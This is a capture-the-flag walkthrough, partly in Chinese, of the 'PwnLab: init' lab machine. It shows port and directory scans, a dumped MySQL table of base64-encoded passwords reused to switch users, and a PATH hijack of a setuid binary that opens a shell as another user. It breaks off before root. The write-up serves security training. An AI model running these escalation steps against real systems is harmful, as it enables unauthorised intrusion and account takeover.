靶机介绍 Wellcome to “PwnLab: init”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.
┌──(root㉿kali)-[~/tmp] └─# nmap 192.168.1.11 Starting Nmap 7.95 ( https://nmap.org ) at2025-08-1910:48 CST Nmap scan report for anonymous (192.168.1.11) Host is up (0.00071s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 80/tcp openhttp 111/tcp open rpcbind 3306/tcp open mysql MAC Address: 00:0C:29:F0:7D:9E (VMware)
Nmap done: 1 IP address (1 host up) scanned in1.28seconds
┌──(root㉿kali)-[~/tmp] └─# dirsearch -u 192.168.1.11 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
MySQL [Users]> select * from users; +------+------------------+ | user | pass | +------+------------------+ | kent | Sld6WHVCSkpOeQ== | | mike | U0lmZHNURW42SQ== | | kane | aVN2NVltMkdSbw== | +------+------------------+ 3 rows in set (0.012 sec)
www-data@pwnlab:/var$ cd /home cd /home www-data@pwnlab:/home$ ls ls john kane kent mike www-data@pwnlab:/home$ su - kent su - kent Password:JWzXuBJJNy
kent@pwnlab:~$ ls ls kent@pwnlab:~$ cd cd kent@pwnlab:~$ ls ls kent@pwnlab:~$ cd /home cd /home kent@pwnlab:/home$ ls ls john kane kent mike kent@pwnlab:/home$ cd kent cd kent kent@pwnlab:~$ ls ls kent@pwnlab:~$ ls -al ls -al total 20 drwxr-x--- 2 kent kent 4096Mar172016 . drwxr-xr-x 6 root root 4096Mar172016 .. -rw-r--r-- 1 kent kent 220Mar172016 .bash_logout -rw-r--r-- 1 kent kent 3515Mar172016 .bashrc -rw-r--r-- 1 kent kent 675Mar172016 .profile kent@pwnlab:~$ sudo -l sudo -l -su:sudo: command not found kent@pwnlab:~$
kane@pwnlab:~$ ls -al ls -al total 28 drwxr-x--- 2 kane kane 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike -rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile kane@pwnlab:~$ file msgmike file msgmike msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
执行之后发现会执行一个cat命令
1 2 3
kane@pwnlab:~$ ./msgmike ./msgmike cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ echo "/bin/bash" > cat echo "/bin/bash" > cat kane@pwnlab:~$ chmod 777 cat chmod 777 cat kane@pwnlab:~$ ls ls cat msgmike kane@pwnlab:~$ ls -al ls -al total 32 drwxr-x--- 2 kane kane 4096 Aug 19 22:45 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc -rwxrwxrwx 1 kane kane 10 Aug 19 22:45 cat -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike -rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile kane@pwnlab:~$ export PATH=./:$PATH export PATH=./:$PATH kane@pwnlab:~$ ./msgmike ./msgmike mike@pwnlab:~$ id id uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
在mike目录下又发现一个属于root的可执行文件
1 2 3 4 5 6 7 8 9 10 11 12
mike@pwnlab:/home/mike$ ls -al ls -al total 28 drwxr-x--- 2 mike mike 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc -rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root -rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile mike@pwnlab:/home/mike$ file msg2root file msg2root msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped
